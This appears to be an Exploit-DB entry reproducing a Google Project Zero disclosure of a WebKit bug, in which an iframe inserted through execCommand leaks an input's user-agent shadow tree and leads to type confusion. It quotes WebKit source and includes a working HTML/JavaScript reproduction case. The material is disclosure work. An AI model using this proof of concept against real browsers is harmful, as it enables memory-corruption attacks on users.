Leaking Elements from User-Agent Shadow Trees

vendor:

N/A

by:

Anonymous

8.8

CVSS

HIGH

User-Agent Shadow Tree Leakage

200

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2020

Leaking Elements from User-Agent Shadow Trees

When the currently focused element is an <input>, `selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects, e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called synchronously, and it's possible to reach the user-agent shadow root object by following the ancestor chain from the <iframe>. When an attacker has access to the shadow root, she can use it to leak other elements that are only intended to be accessible from the user-agent shadow tree, e.g., the <input> element in [3].

Mitigation:

Ensure that user-agent shadow trees are not accessible to attackers.

Source

Exploit-DB raw data:

<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
    auto holder = createDefaultParagraphElement(document());

    holder->appendChild(*m_fragment);
    rootEditableElement->appendChild(holder); // ***2***
    document().updateLayoutIgnorePendingStylesheets();

    return holder;
}

[...]

ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
    : m_document(&document)
    , m_fragment(fragment)
    , m_hasInterchangeNewlineAtStart(false)
    , m_hasInterchangeNewlineAtEnd(false)
{
    if (!m_fragment)
        return;
    if (!m_fragment->firstChild())
        return;
    
    RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
    ASSERT(editableRoot);
    if (!editableRoot)
        return;   
[...]
    RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```

html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
    // Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
    // So, shadowHost() must be an HTMLInputElement.
    return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```

I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.

When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
-->

<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
  shadow_root = event.target.parentNode.parentNode.parentNode;
  input.type = 'range';
  elt = shadow_root.firstChild.firstChild.firstChild;
  input.remove();
  elt.remove();
  evt = new MouseEvent('mouseup');
  div = document.createElement('div');
  new_shadow_root = div.attachShadow({mode: 'open'});
  new_shadow_root.appendChild(elt);
  elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>


<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->